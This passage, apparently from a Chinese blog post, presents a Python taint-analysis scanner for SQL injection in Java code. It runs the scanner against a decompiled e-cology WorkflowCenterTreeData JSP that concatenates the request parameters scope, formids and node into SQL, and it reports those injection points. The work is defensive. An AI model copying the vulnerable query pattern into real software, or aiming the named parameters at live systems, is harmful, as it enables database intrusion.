        if isinstance(node.operandr, MemberReference):
            params.append(node.operandr.member)

    if not isinstance(node.operandl, MemberReference) or not isinstance(node.operandr,
                                                                        MemberReference):  # right不为变量时
        params_right = self.get_binaryop_deep_params(node.operandr, params)
        params_left = self.get_binaryop_deep_params(node.operandl, params)

        params = params_left + params_right

    params = self.export_list(params, buffer_)
    return params

analysis_if_else分析判断语句

def analysis_if_else(self, node, vul_function, back_node, vul_lineno, function_params=None):
    nodes = []
    if isinstance(node.then_statement, BlockStatement):
        self.analysis(node.then_statement.statements, vul_function, back_node, vul_lineno, function_params)

    if isinstance(node.else_statement, BlockStatement):
        self.analysis(node.else_statement.statements, vul_function, back_node, vul_lineno, function_params)

    if isinstance(node.else_statement, IfStatement):
        self.analysis_if_else(node.else_statement, vul_function, back_node, vul_lineno, function_params)

is_sink_function判断函数入参是否进入

def is_sink_function(self, param_expr, function_params):
    """
    判断指定函数函数的入参-->判断此函数是否是危险函数
    :param param_expr: 传入一个变量名
    :param function_params: 该函数的入参
    :return: 如果该变量名在函数定义的入参中,也认为可控返回True
    """
    is_co = -1
    cp = None
    if function_params is not None:
        for function_param in function_params:
            if param_expr == function_param:
                is_co = 2
                cp = function_param
                # print('[AST] is_sink_function --> {function_param}'.format(function_param=cp))
    return is_co, cp

is_controllable判断复制表达式是否可控

def is_controllable(self, expr):  # 获取表达式中的变量,看是否在用户可控变量列表中
    """
    判断赋值表达式是否是用户可控的
    :param expr: 传入一个函数名
    :return 1, expr: 如果该函数是敏感函数就返回 1,函数名
    """
    controlled_params = [
        'getParameter'
        # '$_GET',
        # '$_POST',
        # '$_REQUEST',
        # '$_COOKIE',
        # '$_FILES',
        # '$_SERVER',
        # '$HTTP_POST_FILES',
        # '$HTTP_COOKIE_VARS',
        # '$HTTP_REQUEST_VARS',
        # '$HTTP_POST_VARS',
        # '$HTTP_RAW_POST_DATA',
        # '$HTTP_GET_VARS'
    ]
    if expr in controlled_params:
        # print('[AST] is_controllable --> {expr}'.format(expr=expr))
        return 1, expr
    return -1, None

is_repair判断赋值表达式中是否有过滤函数

def is_repair(self, expr):
    """
    判断赋值表达式是否出现过滤函数,如果已经过滤,停止污点回溯,判定漏洞已修复
    :param expr: 这里应该是函数名称
    :return is_re: 返回是否已经修复 boolean
    """
    is_re = False  # 是否修复,默认值是未修复
    for repair in self.repairs:
        if expr == repair:
            is_re = True
            return is_re
    return is_re

def is_sink_function(self, param_expr, function_params):
    """
    判断指定函数函数的入参-->判断此函数是否是危险函数
    :param param_expr: 传入一个变量名
    :param function_params: 该函数的入参
    :return: 如果该变量名在函数定义的入参中,也认为可控返回True
    """
    is_co = -1
    cp = None
    if function_params is not None:
        for function_param in function_params:
            if param_expr == function_param:
                is_co = 2
                cp = function_param
                # print('[AST] is_sink_function --> {function_param}'.format(function_param=cp))
    return is_co, cp

set_scan_results存储结果

def set_scan_results(self, is_co, cp, expr_lineno, sink, param, vul_lineno):
    """
    获取结果信息-->输出结果
    :param is_co:
    :param cp:
    :param expr_lineno:
    :param sink:
    :param param:
    :param vul_lineno:
    :return:
    """
    results = []
    # global scan_results

    result = {
        'code': is_co,
        'source': cp,
        'source_lineno': expr_lineno,
        'sink': sink,
        'sink_param:': param,
        'sink_lineno': vul_lineno
    }
    # for scan_result in scan_results:
    #     if

    if result['code'] != -1:  # 查出来漏洞结果添加到结果信息中
        results.append(result)
        self.scan_results += results

测试代码

测试文件

历史漏洞: 某知名OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现数据库小龙人-CSDN博客

java_src/_workflowcentertreedata__jsp.java

/*
 * JSP generated by Resin-3.1.8 (built Mon, 17 Nov 2008 12:15:21 PST)
 */

package _jsp._mobile._browser;

import javax.servlet.*;
import javax.servlet.jsp.*;
import javax.servlet.http.*;

import org.json.*;
import weaver.general.Util;

import java.util.*;

import weaver.workflow.workflow.WorkTypeComInfo;

public class _workflowcentertreedata__jsp extends com.caucho.jsp.JavaPage {
    private static final java.util.HashMap<String, java.lang.reflect.Method> _jsp_functionMap = new java.util.HashMap<String, java.lang.reflect.Method>();
    private boolean _caucho_isDead;

    public void
    _jspService(javax.servlet.http.HttpServletRequest request,
                javax.servlet.http.HttpServletResponse response)
            throws java.io.IOException, javax.servlet.ServletException {
        javax.servlet.http.HttpSession session = request.getSession(true);
        com.caucho.server.webapp.WebApp _jsp_application = _caucho_getApplication();
        javax.servlet.ServletContext application = _jsp_application;
        com.caucho.jsp.PageContextImpl pageContext = _jsp_application.getJspApplicationContext().allocatePageContext(this, _jsp_application, request, response, null, session, 8192, true, false);
        javax.servlet.jsp.PageContext _jsp_parentContext = pageContext;
        javax.servlet.jsp.JspWriter out = pageContext.getOut();
        final javax.el.ELContext _jsp_env = pageContext.getELContext();
        javax.servlet.ServletConfig config = getServletConfig();
        javax.servlet.Servlet page = this;
        response.setContentType("application/x-json;charset=UTF-8");
        request.setCharacterEncoding("UTF-8");
        try {
            out.write(_jsp_string0, 0, _jsp_string0.length);
            weaver.conn.RecordSet rs;
            rs = (weaver.conn.RecordSet) pageContext.getAttribute("rs");
            if (rs == null) {
                rs = new weaver.conn.RecordSet();
                pageContext.setAttribute("rs", rs);
            }
            out.write(_jsp_string1, 0, _jsp_string1.length);
            weaver.conn.RecordSet rsIn;
            rsIn = (weaver.conn.RecordSet) pageContext.getAttribute("rsIn");
            if (rsIn == null) {
                rsIn = new weaver.conn.RecordSet();
                pageContext.setAttribute("rsIn", rsIn);
            }
            out.write(_jsp_string2, 0, _jsp_string2.length);

            String node = Util.null2String(request.getParameter("node"));
            String arrNode[] = Util.TokenizerString2(node, "_");
            String type = arrNode[0];
            String value = arrNode[1];

            String flowids = "";
            ArrayList flowidList = new ArrayList();

            String scope = Util.null2String(request.getParameter("scope"));
            String initvalue = Util.null2String(request.getParameter("initvalue"));
            String formids = Util.null2String(request.getParameter("formids"));

            rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope=" + scope + " and mc_name='flowids' ");
            if (rs.next()) {
                flowids = Util.null2String(rs.getString("mc_value"));
            }

            if (initvalue != null && !"".equals(initvalue)) {
                flowids += "," + initvalue;
                flowidList = Util.TokenizerString(flowids, ",");
            }

            JSONArray jsonArrayReturn = new JSONArray();

            if ("root".equals(type)) { //\u4e3b\u76ee\u5f55\u4e0b\u7684\u6570\u636e
                WorkTypeComInfo wftc = new WorkTypeComInfo();
                while (wftc.next()) {
                    JSONObject jsonTypeObj = null;
                    String wfTypeId = wftc.getWorkTypeid();
                    String wfTypeName = wftc.getWorkTypename();
                    //if("1".equals(wfTypeId)) continue;
                    rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype=" + wfTypeId + " and  ( isbill=0 or (isbill=1 and formid<0) or (isbill=1 and formid in (" + formids + ")))");
                    while (rs.next()) {
                        jsonTypeObj = new JSONObject();
                        String wfId = Util.null2String(rs.getString("id"));
                        if (flowidList.contains(wfId)) {
                            jsonTypeObj.put("expanded", true);
                            break;
                        }

                    }
                    if (jsonTypeObj != null) {
                        jsonTypeObj.put("id", "wftype_" + wfTypeId);
                        jsonTypeObj.put("text", wfTypeName);
                        jsonTypeObj.put("checked", false);
                        jsonTypeObj.put("draggable", false);
                        jsonTypeObj.put("leaf", false);
                        jsonArrayReturn.put(jsonTypeObj);
                    }
                }
            } else if ("wftype".equals(type)) {
                rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype=" + value + " and ( isbill=0 or (isbill=1 and formid<0) or (isbill=1 and formid in (" + formids + ")))");

                while (rs.next()) {

                    JSONObject jsonWfObj = new JSONObject();
                    String wfId = Util.null2String(rs.getString("id"));
                    String wfName = Util.null2String(rs.getString("workflowname"));
                    jsonWfObj.put("id", "wf_" + wfId);
                    jsonWfObj.put("text", wfName);
                    jsonWfObj.put("draggable", false);

                    if (!flowidList.contains(wfId)) {
                        jsonWfObj.put("checked", false);
                    } else {
                        jsonWfObj.put("checked", true);
                        jsonWfObj.put("expanded", true);
                    }
                    jsonWfObj.put("leaf", true);
                    jsonArrayReturn.put(jsonWfObj);
                }
            }
            out.println(jsonArrayReturn.toString());

            out.write(_jsp_string1, 0, _jsp_string1.length);
        } catch (java.lang.Throwable _jsp_e) {
            pageContext.handlePageException(_jsp_e);
        } finally {
            _jsp_application.getJspApplicationContext().freePageContext(pageContext);
        }
    }

    private java.util.ArrayList _caucho_depends = new java.util.ArrayList();

    public java.util.ArrayList _caucho_getDependList() {
        return _caucho_depends;
    }

    public void _caucho_addDepend(com.caucho.vfs.PersistentDependency depend) {
        super._caucho_addDepend(depend);
        com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend);
    }

    public boolean _caucho_isModified() {
        if (_caucho_isDead)
            return true;
        if (com.caucho.server.util.CauchoSystem.getVersionId() != 1886798272571451039L)
            return true;
        for (int i = _caucho_depends.size() - 1; i >= 0; i--) {
            com.caucho.vfs.Dependency depend;
            depend = (com.caucho.vfs.Dependency) _caucho_depends.get(i);
            if (depend.isModified())
                return true;
        }
        return false;
    }

    public long _caucho_lastModified() {
        return 0;
    }

    public java.util.HashMap<String, java.lang.reflect.Method> _caucho_getFunctionMap() {
        return _jsp_functionMap;
    }

    public void init(ServletConfig config)
            throws ServletException {
        com.caucho.server.webapp.WebApp webApp
                = (com.caucho.server.webapp.WebApp) config.getServletContext();
        super.init(config);
        com.caucho.jsp.TaglibManager manager = webApp.getJspApplicationContext().getTaglibManager();
        com.caucho.jsp.PageContextImpl pageContext = new com.caucho.jsp.PageContextImpl(webApp, this);
    }

    public void destroy() {
        _caucho_isDead = true;
        super.destroy();
    }

    public void init(com.caucho.vfs.Path appDir)
            throws javax.servlet.ServletException {
        com.caucho.vfs.Path resinHome = com.caucho.server.util.CauchoSystem.getResinHome();
        com.caucho.vfs.MergePath mergePath = new com.caucho.vfs.MergePath();
        mergePath.addMergePath(appDir);
        mergePath.addMergePath(resinHome);
        com.caucho.loader.DynamicClassLoader loader;
        loader = (com.caucho.loader.DynamicClassLoader) getClass().getClassLoader();
        String resourcePath = loader.getResourcePathSpecificFirst();
        mergePath.addClassPath(resourcePath);
        com.caucho.vfs.Depend depend;
        depend = new com.caucho.vfs.Depend(appDir.lookup("mobile/browser/WorkflowCenterTreeData.jsp"), -7926612934612916794L, false);
        com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend);
    }

    private final static char[] _jsp_string0;
    private final static char[] _jsp_string1;
    private final static char[] _jsp_string2;

    static {
        _jsp_string0 = "\r\n\r\n\r\n\r\n\r\n\r\n".toCharArray();
        _jsp_string1 = "\r\n".toCharArray();
        _jsp_string2 = "\r\n\r\n".toCharArray();
    }
}

分析代码

java_parser_class.py

# -*- coding: utf-8 -*-
import os
from functools import reduce

from javalang.parse import parse
from javalang.tree import *
import javalang
import copy

fp = open("res_test.txt", 'a+')
# fp.write("type\tfilename\tparam_line\tsink_line\n")
class JavaParse():

    def __init__(self, filename):
        self.filename = filename  # r"java_src\_workflowcentertreedata__jsp.java"
        self.src = open(self.filename, 'r', encoding='utf8', errors='ignore').read()

        self.with_line = True
        self.scan_results = []  # 结果存放列表初始化
        self.repairs = []  # 用于存放修复函数

    def export(self, items):
        """
        #todo 暂时不知道干啥的,好像是用来打印的
        :param items:
        :return:
        """
        result = []
        if items:
            for item in items:
                if hasattr(item, 'generic'):
                    item = item.generic(with_lineno=self.with_line)
                result.append(item)
        return result

    def export_list(self, params1, export_params1):
        """
        将params中嵌套的多个列表,导出为一个列表
        :param params: 输入一个嵌套类的参数列表
        :param export_params: 要合并且输出的列表
        :return export_params: 输出一个没有嵌套的列表
        """

        params = copy.deepcopy(params1)
        export_params = copy.deepcopy(export_params1)
        # print(params)
        # print(export_params)
        for param in params:
            if isinstance(param, list):
                # print(1)
                export_params = self.export_list(param, export_params)
            else:
                # print(2)
                export_params.append(param)
                # print(export_params)
        # print("return")
        return list(set(export_params))

    def get_all_funcs(self, node, tmp=[]):
        funcs = [node.member]
        export_funcs = []  # 定义空列表,用来给export_list中使用
        for node in node.arguments:
            if isinstance(node, MethodInvocation):  # 函数参数来自另一个函数的返回值
                funcs.append(node.member)
                funcs = list(self.export_list(funcs, export_funcs))
            # if isinstance(node, MethodInvocation)
            # return get_all_funcs(node)
        return list(set(funcs))

    # def get_all_funcs(node):
    #     funcs = [node.qualifier + "." + node.member]
    #     export_funcs = []  # 定义空列表,用来给export_list中使用
    #     for node in node.arguments:
    #         if isinstance(node, MethodInvocation):  # 函数参数来自另一个函数的返回值
    #             funcs.append(node.qualifier + "." + node.member)
    #             funcs = export_list(funcs, export_funcs)
    #             # return get_all_funcs(node)
    #     return funcs

    def get_all_params(self, nodes):  # 用来获取调用函数的参数列表,nodes为参数列表
        """
        获取函数结构的所有参数
        :param nodes: 输入MethodInvocation.arguments 作为nodes
        :return params: 返回这个函数参数列表中涉及的全部变量
        """
        params = []
        export_params = []  # 定义空列表,用来给export_list中使用
        for node in nodes:
            if isinstance(node, MethodInvocation):  # 函数参数来自另一个函数的返回值
                params = self.get_all_params(node.arguments)
            else:
                if isinstance(node, MemberReference):
                    params.append(node.member)
                elif isinstance(node, BinaryOperation):
                    params = self.get_binaryop_params(node)
                    params = self.export_list(params, export_params)
        return list(set(params))

    def get_binaryop_params(self, node):  # 当为BinaryOp类型时,分别对left和right进行处理,取出需要的变量
        """
        用来提取Binaryop中的参数
        :param node: 输入一个BinaryOperation节点
        :return params: 返回当前节点涉及的变量列表
        """
        # print('[AST] Binaryop --> {node}'.format(node=node))
        params = []
        buffer_ = []

        if isinstance(node.operandl, MemberReference) or isinstance(node.operandr,
                                                                    MemberReference):  # left, right都为变量直接取值
            if isinstance(node.operandl, MemberReference):
                params.append(node.operandl.member)

            if isinstance(node.operandr, MemberReference):
                params.append(node.operandr.member)

        if not isinstance(node.operandl, MemberReference) or not isinstance(node.operandr,
                                                                            MemberReference):  # right不为变量时
            params_right = self.get_binaryop_deep_params(node.operandr, params)
            params_left = self.get_binaryop_deep_params(node.operandl, params)

            params = params_left + params_right

        params = self.export_list(params, buffer_)
        return params

    def get_binaryop_deep_params(self, node, params):  # 取出right,left不为变量时,对象结构中的变量
        """
        递归取出深层的变量名
        :param node: node为 get_binaryop_params 中的 node.operandl 或者 node.operandr 节点
        :param params: 传进来之前的参数
        :return params: 返回深层的参数列表
        """
        if isinstance(node, BinaryOperation):  # node为BinaryOp,递归取出其中变量
            param = self.get_binaryop_params(node)
            params.append(param)
        if isinstance(node, MethodInvocation):  # node为FunctionCall,递归取出其中变量名
            params = self.get_all_params(node.arguments)
        return params

    # todo
    def get_expr_name(self, node):  # expr为'expr'中的值
        """
        获取赋值表达式的表达式部分中的参数名(变量名)-->返回用来进行回溯
        :param node: 输入一个节点(要求是一个表达式的右值), 检测表达式包含的所有变量
        :return param_expr: 返回表达式中涉及的所有变量的列表 []
        :return param_lineno: 返回当前表达式所在行 int
        :return is_re: 返回是否已经修复  boolean
        """
        # todo 这里有个坑. javalang有position缺失的情况.可能会发生变量回溯丢失
        param_lineno = 0
        is_re = False
        param_expr = None


        if isinstance(node, MemberReference):  # 当赋值表达式为变量
            param_expr = node.member  # 返回变量名
            param_lineno = node.position.line

        elif isinstance(node, MethodInvocation):  # 当赋值表达式为函数
            param_expr = self.get_all_params(node.arguments)  # 返回函数参数列表
            param_lineno = node.position.line
            # function_name = node.qualifier + "." + node.member
            is_re = False
            # 调用了函数,判断调用的函数是否为修复函数
            for func in self.get_all_funcs(node):
                if self.is_repair(func):
                    is_re = True
                    break

        elif isinstance(node, BinaryOperation):  # 当赋值表达式为BinaryOp
            param_expr = self.get_binaryop_params(node)
            # todo 需要修复javalang的 position 丢失的问题 这里先硬编码一下
            # param_lineno = node.position.line
            param_lineno = 7

        elif isinstance(node, Assignment):  # 当赋值表达式为Assignment
            param_expr, param_lineno, is_re = self.get_expr_name(node.value)
            # param_lineno = node.position.line

        elif isinstance(node, This):  # 当赋值表达式为 This
            for selector in node.selectors:
                param_expr, param_lineno, is_re = self.get_expr_name(selector)
                if is_re:
                    return param_expr, param_lineno, is_re
        else:
            param_expr = node
            # print(param_expr)
        # print(param_expr)
        return param_expr, param_lineno, is_re

    def get_node_name(self, node):  # node为'node'中的元组
        """
        获取MemberReference类型节点的name
        :param node: 一般是MemberReference,字面量啥的不需要跟踪
        :return: MemberReference.member
        """
        if isinstance(node, MemberReference):
            return node.member  # 返回此节点中的变量名
        elif isinstance(node, VariableDeclarator):
            return node.name  # 返回此节点中的变量名

    def is_repair(self, expr):
        """
        判断赋值表达式是否出现过滤函数,如果已经过滤,停止污点回溯,判定漏洞已修复
        :param expr: 这里应该是函数名称
        :return is_re: 返回是否已经修复 boolean
        """
        is_re = False  # 是否修复,默认值是未修复
        for repair in self.repairs:
            if expr == repair:
                is_re = True
                return is_re
        return is_re

    def is_sink_function(self, param_expr, function_params):
        """
        判断指定函数函数的入参-->判断此函数是否是危险函数
        :param param_expr: 传入一个变量名
        :param function_params: 该函数的入参
        :return: 如果该变量名在函数定义的入参中,也认为可控返回True
        """
        is_co = -1
        cp = None
        if function_params is not None:
            for function_param in function_params:
                if param_expr == function_param:
                    is_co = 2
                    cp = function_param
                    # print('[AST] is_sink_function --> {function_param}'.format(function_param=cp))
        return is_co, cp

    def is_controllable(self, expr):  # 获取表达式中的变量,看是否在用户可控变量列表中
        """
        判断赋值表达式是否是用户可控的
        :param expr: 传入一个函数名
        :return 1, expr: 如果该函数是敏感函数就返回 1,函数名
        """
        controlled_params = [
            'getParameter'
            # '$_GET',
            # '$_POST',
            # '$_REQUEST',
            # '$_COOKIE',
            # '$_FILES',
            # '$_SERVER',
            # '$HTTP_POST_FILES',
            # '$HTTP_COOKIE_VARS',
            # '$HTTP_REQUEST_VARS',
            # '$HTTP_POST_VARS',
            # '$HTTP_RAW_POST_DATA',
            # '$HTTP_GET_VARS'
        ]
        if expr in controlled_params:
            # print('[AST] is_controllable --> {expr}'.format(expr=expr))
            return 1, expr
        return -1, None

    def parameters_back(self, param, nodes, function_params=None, node_lineno=-1):  # 用来得到回溯过程中的被赋值的变量是否与敏感函数变量相等,param是当前需要跟踪的污点
        """
        递归回溯敏感函数的赋值流程,param为跟踪的污点,当找到param来源时-->分析复制表达式-->获取新污点;否则递归下一个节点
        :param param: 输入一个变量名
        :param nodes: nodes 也就是之前访问的back_nodes,里面基本都是LocalVariableDeclaration/StatementExpression/IFxxx
        :param function_params: 递归过程中保持函数的形参,如果变量是从形参获得也认为可控
        :return is_co, cp, expr_lineno: 可控返回1 , 可控的变量名, 变量所在行
        """
        # node_lineno = -1
        # print(node_lineno)
        if len(nodes) > 0 and node_lineno == -1:
            node_lineno = nodes[0].position.line  # source所在行号
        expr_lineno = 0
        is_re = False
        is_co, cp = self.is_controllable(param)

        if len(nodes) != 0 and is_co == -1:
            node = nodes[len(nodes) - 1]
            # if isinstance(node, LocalVariableDeclaration):
            tnodes = []
            if isinstance(node, LocalVariableDeclaration):  # 回溯的过程中,对出现赋值情况的节点进行跟踪
                if isinstance(node, LocalVariableDeclaration):
                    tnodes = [[declarator, declarator.initializer] for declarator in node.declarators]
            elif isinstance(node, StatementExpression):
                if isinstance(node.expression, Assignment):
                    tnodes = [[node.expression.expressionl, node.expression.value]]

            for left_var, right_var in tnodes:
                param_node = self.get_node_name(left_var)
                # param_expr为赋值表达式,param_expr为变量或者列表
                param_expr, expr_lineno, is_re = self.get_expr_name(right_var)

                if param == param_node and is_re is False and isinstance(right_var, MethodInvocation):
                    funcs = self.get_all_funcs(right_var)
                    # print(funcs)
                    if not is_re:
                        for func in funcs:
                            is_co, cp = self.is_controllable(func)
                            if is_co == 1:
                                return is_co, cp, expr_lineno

                if param == param_node and is_re is True:
                    is_co = 0
                    cp = None
                    return is_co, cp, expr_lineno

                if param == param_node and not isinstance(param_expr, list):  # 找到变量的来源,开始继续分析变量的赋值表达式是否可控
                    is_co, cp = self.is_controllable(param_expr)  # 开始判断变量是否可控

                    if is_co != 1:
                        is_co, cp = self.is_sink_function(param_expr, function_params)

                    param = param_expr  # 每次找到一个污点的来源时,开始跟踪新污点,覆盖旧污点

                if param == param_node and isinstance(param_expr, list):
                    for expr in param_expr:
                        param = expr
                        is_co, cp = self.is_controllable(expr)

                        if is_co == 1:
                            return is_co, cp, expr_lineno

                        _is_co, _cp, expr_lineno = self.parameters_back(param, nodes[:-1], function_params, node_lineno)

                        if _is_co != -1:  # 当参数可控时,值赋给is_co 和 cp,有一个参数可控,则认定这个函数可能可控
                            is_co = _is_co
                            cp = _cp

            if is_co == -1:  # 当is_co为True时找到可控,停止递归
                is_co, cp, expr_lineno = self.parameters_back(param, nodes[:-1], function_params, node_lineno)  # 找到可控的输入时,停止递归

        # 如果是变量来源在函数的形参中,其实需要获取到函数名/函数所在行
        elif len(nodes) == 0 and function_params is not None:
            for function_param in function_params:
                if function_param == param:
                    is_co = 2
                    cp = function_param
                    expr_lineno = node_lineno

        return is_co, cp, expr_lineno

    def get_function_params(self, nodes):
        """
        获取用户自定义函数的所有入参
        :param nodes: 自定义函数的参数部分
        :return params: 以列表的形式返回所有的入参
        """
        params = []
        for node in nodes:
            if isinstance(node, FormalParameter):
                params.append(node.name)
        return list(set(params))

    def anlysis_function(self, node, back_node, vul_function, function_params, vul_lineno):
        """
        对用户自定义的函数进行分析-->获取函数入参-->入参用经过赋值流程,进入sink函数-->此自定义函数为危险函数
        最终目的是分析函数调用
        :param node: 传入一个 MethodDeclaration 类型节点
        :param back_node: 传入 back_nodes
        :param vul_function: 存在漏洞的函数名
        :param function_params: 函数的形参(从 MethodDeceleration 节点进来的话)
        :param vul_lineno:
        :return:
        """
        global scan_results
        # try:
        if node.member == vul_function and int(node.position.line) == int(vul_lineno):  # 函数体中存在敏感函数,开始对敏感函数前的代码进行检测
            for param in node.arguments:
                if isinstance(param, MemberReference):
                    self.analysis_variable_node(param, back_node, vul_function, vul_lineno, function_params)

                elif isinstance(param, MethodInvocation):
                    self.analysis_functioncall_node(param, back_node, vul_function, vul_lineno, function_params)

                elif isinstance(param, BinaryOperation):
                    self.analysis_binaryop_node(param, back_node, vul_function, vul_lineno, function_params)

        # except Exception as e:
        #     print(e)

    def analysis_binaryop_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
        """
        处理BinaryOp类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
        :param node:
        :param back_node:
        :param vul_function:
        :param vul_lineno:
        :param function_params:
        :return:
        """
        # print('[AST] vul_function:{v}'.format(v=vul_function))
        export_params = []
        params = self.get_binaryop_params(node)
        params = self.export_list(params, export_params)

        for param in params:
            is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
            self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

    def analysis_functioncall_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
        """
        处理FunctionCall类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
        :param node:
        :param back_node:
        :param vul_function:
        :param vul_lineno:
        :param function_params:
        :return:
        """
        # print('[AST] vul_function:{v}'.format(v=vul_function))
        params = set(list(self.get_all_params(node.arguments)))
        for param in params:
            is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
            self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

    def analysis_variable_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
        """
        处理Variable类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
        这里直接将最后一步回溯到的变量写入全局结果表中,并不包含路径
        :param node:
        :param back_node:
        :param vul_function:
        :param vul_lineno:
        :param function_params:
        :return:
        """
        # print('[AST] vul_function:{v}'.format(v=vul_function))
        param = self.get_node_name(node)
        is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
        self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

    def analysis_if_else(self, node, vul_function, back_node, vul_lineno, function_params=None):
        nodes = []
        if isinstance(node.then_statement, BlockStatement):
            self.analysis(node.then_statement.statements, vul_function, back_node, vul_lineno, function_params)

        if isinstance(node.else_statement, BlockStatement):
            self.analysis(node.else_statement.statements, vul_function, back_node, vul_lineno, function_params)

        if isinstance(node.else_statement, IfStatement):
            self.analysis_if_else(node.else_statement, vul_function, back_node, vul_lineno, function_params)

    def set_scan_results(self, is_co, cp, expr_lineno, sink, param, vul_lineno):
        """
        获取结果信息-->输出结果
        :param is_co:
        :param cp:
        :param expr_lineno:
        :param sink:
        :param param:
        :param vul_lineno:
        :return:
        """
        results = []
        # global scan_results

        result = {
            'code': is_co,
            'source': cp,
            'source_lineno': expr_lineno,
            'sink': sink,
            'sink_param:': param,
            'sink_lineno': vul_lineno
        }
        # for scan_result in scan_results:
        #     if

        if result['code'] != -1:  # 查出来漏洞结果添加到结果信息中
            results.append(result)
            self.scan_results += results

    def analysis(self, nodes, vul_function, back_node, vul_lineo, function_params=None):
        """
        总体的思路是遍历所有节点且放入back_nodes中
        -> 查找所有的 MethodInvocation 直到找到匹配 vul_lineo 的那一个
        -> 然后在函数调用中查找出来涉及的变量
        ( anlysis_function 就是进入函数体进行敏感函数查找而已,可以优化 )
        ( analysis_functioncall_node 就是取出敏感函数的参数(变量)进行 parameters_back )

        :param nodes: 所有节点
        :param vul_function: 要判断的敏感函数名
        :param back_node: 各种语法结构里面的语句
        :param vul_lineo: 漏洞函数所在行号
        :param function_params: 自定义函数的所有参数列表
        :return:
        """
        buffer_ = []
        for node in nodes:
            if isinstance(node, MethodInvocation):
                # 从原文的意思看,这里是检测到函数调用,去找这个方法的MethodDeceleration,如果这个函数里面有敏感操作,就爆有问题
                self.anlysis_function(node, back_node, vul_function, function_params, vul_lineo)

            elif isinstance(node, StatementExpression):
                if isinstance(node.expression, MethodInvocation):
                    self.anlysis_function(node.expression, back_node, vul_function, function_params, vul_lineo)

                elif isinstance(node.expression, Assignment):
                    if isinstance(node.expression.value, MethodInvocation):
                        self.anlysis_function(node.expression.value, back_node, vul_function, function_params,
                                              vul_lineo)
            # todo 这里还有 binop 的操作
            elif isinstance(node, LocalVariableDeclaration):
                for declarator in node.declarators:
                    if isinstance(declarator.initializer, MethodInvocation):
                        self.anlysis_function(declarator.initializer, back_node, vul_function, function_params,
                                              vul_lineo)


            elif isinstance(node, IfStatement):  # 函数调用在if-else语句中时
                self.analysis_if_else(node, vul_function, back_node, vul_lineo, function_params)

            elif isinstance(node, TryStatement):  # 函数调用在try-catch-finally语句中时
                # print(back_node)
                self.analysis(node.block, vul_function, back_node, vul_lineo, function_params)
                # analysis(node.catches, back_node, vul_function, vul_lineo, function_params)
                # analysis(node.finally_block, back_node, vul_function, vul_lineo, function_params)

            elif isinstance(node, WhileStatement):
                self.analysis(node.body.statements, vul_function, back_node, vul_lineo, function_params)


            elif isinstance(node, ForStatement):
                if isinstance(node.body, BlockStatement):
                    self.analysis(node.body, vul_function, back_node, vul_lineo, function_params)


            elif isinstance(node, MethodDeclaration):
                function_body = [node]
                function_params = self.get_function_params(node.parameters)
                self.analysis(node.body, vul_function, function_body, vul_lineo, function_params=function_params)


            elif isinstance(node, ClassDeclaration):
                self.analysis(node.body, vul_function, back_node, vul_lineo, function_params)
            # if back_node == "executeSql":
            #     print(back_node)
            back_node.append(node)

    def scan_parser(self, code_content, sensitive_func, vul_lineno, repair):
        """
        先从 sensitive_func 中提取敏感函数 func 循环查询AST
        ->进入analysis中查询 vul_lineno 所在行的敏感函数调用
        :param code_content: 要检测的文件内容
        :param sensitive_func: 要检测的敏感函数,传入的为函数列表
        :param vul_lineno: 漏洞函数所在行号
        :param repair: 对应漏洞的修复函数列表
        :return:
        """
        try:
            # global repairs
            # global scan_results
            self.repairs = repair
            self.scan_results = []
            tree = javalang.parse.parse(code_content)
            all_nodes = tree.children[-1]
            for func in sensitive_func:  # 循环判断代码中是否存在敏感函数,若存在,递归判断参数是否可控;对文件内容循环判断多次
                back_node = []
                self.analysis(all_nodes, func, back_node, int(vul_lineno), function_params=None)
        except SyntaxError as e:
            print('[AST] [ERROR]:{e}'.format(e=e))

        return self.scan_results

    def run(self):
        code_lines = self.src.split('\n')
        run_function = lambda x, y: x if y in x else x + [y]

        for i in range(code_lines.__len__()):
            line = code_lines[i]
            if 'executeSql' in line:
                print("*" * 50)
                print("executeSql in " + self.filename + ":" + str(i + 1))
                res = self.scan_parser(self.src, ['executeSql'], i + 1, ['null2int', 'getIntValue'])
                res = reduce(run_function, [[], ] + res)
                print(res)
                for x in res:
                    print("##" * 20 + "found sqli in " + self.filename + "##" * 20)
                    if x['code'] > 0:
                        sink_line = x['sink_lineno'] - 1
                        source_lineno = x['source_lineno'] - 1
                        print("注入参数: ", x['source_lineno'], " | ", code_lines[source_lineno].strip(" \t"))
                        print("------------>")
                        print("注入点: ", x['sink_lineno'], " | ", code_lines[sink_line].strip(" \t"))
                        record = "%d\t%s\t%d\t%d\t%s\n" % (x['code'], self.filename, x['source_lineno'],  x['sink_lineno'], code_lines[source_lineno].strip(" \t"))
                        fp.write(record)
                        fp.flush()
                print("\n")




import sys
import time
t = time.time()
if __name__ == '__main__':
    filename = "java_src/Sqli.java"
    filename = r"java_src/_workflowcentertreedata__jsp.java"
    # filename = sys.argv[1]
    print(filename)
    a = JavaParse(filename)
    a.run()
    print(time.time() - t)


# fp = open("res.txt", 'a+')

分析结果

可以很明显的看出, 存在如下注入点

_workflowcentertreedata__jsp.java -> /mobile/browser/WorkflowCenterTreeData.jsp

  • 注入参数: line: 62 | String scope = Util.null2String(request.getParameter("scope"));
  • 注入参数: line: 64 | String formids = Util.null2String(request.getParameter("formids"));

  • 注入参数: line: 54 | String node = Util.null2String(request.getParameter("node"));
java_src/_workflowcentertreedata__jsp.java
**************************************************
executeSql in java_src/_workflowcentertreedata__jsp.java:66
